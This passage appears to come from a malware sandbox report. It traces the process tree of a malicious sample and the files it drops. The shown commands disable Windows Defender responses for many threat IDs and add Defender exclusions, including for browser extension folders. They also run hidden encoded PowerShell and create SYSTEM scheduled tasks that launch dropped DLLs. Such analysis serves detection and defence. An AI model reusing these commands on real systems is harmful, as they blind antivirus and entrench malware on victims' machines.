- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6256
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1144
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4232
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LUWSYkNLogUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LUWSYkNLogUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RgdiTWAdU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RgdiTWAdU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dLLzADClkagU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dLLzADClkagU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wGxkUGMqSkfBC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wGxkUGMqSkfBC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\KTrRWZTJHHaefVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\KTrRWZTJHHaefVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\YJilzFkIuuIZSMIOq\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\YJilzFkIuuIZSMIOq\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZTXlTkGoDPQchyzd\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZTXlTkGoDPQchyzd\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1536
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LUWSYkNLogUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2044
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LUWSYkNLogUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LUWSYkNLogUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3376
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RgdiTWAdU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RgdiTWAdU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dLLzADClkagU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dLLzADClkagU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6356
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wGxkUGMqSkfBC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wGxkUGMqSkfBC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\KTrRWZTJHHaefVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\KTrRWZTJHHaefVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1856
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\YJilzFkIuuIZSMIOq /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\YJilzFkIuuIZSMIOq /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZTXlTkGoDPQchyzd /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZTXlTkGoDPQchyzd /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1080
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gYagrTEuH" /SC once /ST 12:02:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:816
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gYagrTEuH"
  2⤵
  PID:3980
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gYagrTEuH"
  2⤵
  PID:2268
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zjtCPqTOixnxYITTP" /SC once /ST 11:54:23 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\uZMIViB.exe\" XQ /zzmFdidSo 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:7100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "zjtCPqTOixnxYITTP"
  2⤵
  PID:6524
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1016
  2⤵
  - Program crash
  PID:1916

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5620
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:3164

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2808

C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\uZMIViB.exe
C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\uZMIViB.exe XQ /zzmFdidSo 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
PID:4216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6808
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5568
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4580
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:7080
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:3768
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:964
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:4080
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:7008
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5968
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2420
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:6224
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5472
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:6948
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3432
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3672
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4844
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5212
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bjeWJKrHnPpdAGCduF"
  2⤵
  PID:5228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:6036
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:2736
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:4300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:6028
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:3668
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RgdiTWAdU\Chremz.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gwLAkOfFqvEnRPY" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:6560
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gwLAkOfFqvEnRPY2" /F /xml "C:\Program Files (x86)\RgdiTWAdU\nFExiyk.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5380
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "gwLAkOfFqvEnRPY"
  2⤵
  PID:1444
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gwLAkOfFqvEnRPY"
  2⤵
  PID:3188
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "pkYJRvtpGfZaSU" /F /xml "C:\Program Files (x86)\dLLzADClkagU2\neUUPgM.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2808
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yMFQLDLxyvLyt2" /F /xml "C:\ProgramData\KTrRWZTJHHaefVVB\wBfKzfU.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7060
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "raxKGaIGjdREsorgF2" /F /xml "C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\pZObFjC.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4852
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JnvrxUwmUummIDFugIt2" /F /xml "C:\Program Files (x86)\wGxkUGMqSkfBC\ItPCYeE.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2032
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "mFeioppqsVnzBGRpZ" /SC once /ST 15:37:55 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZTXlTkGoDPQchyzd\CIjeNUEp\CjUqlKf.dll\",#1 /kMdidHoVE 525403" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:6688
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "mFeioppqsVnzBGRpZ"
  2⤵
  PID:6100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "zjtCPqTOixnxYITTP"
  2⤵
  PID:2420
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 2500
  2⤵
  - Program crash
  PID:6396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 7140 -ip 7140
1⤵
PID:7028

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5548
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  PID:1620

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZTXlTkGoDPQchyzd\CIjeNUEp\CjUqlKf.dll",#1 /kMdidHoVE 525403
1⤵
PID:3504
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZTXlTkGoDPQchyzd\CIjeNUEp\CjUqlKf.dll",#1 /kMdidHoVE 525403
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  PID:7140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "mFeioppqsVnzBGRpZ"
    3⤵
    PID:6300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 7120 -ip 7120
1⤵
PID:5956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4216 -ip 4216
1⤵
PID:6316

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
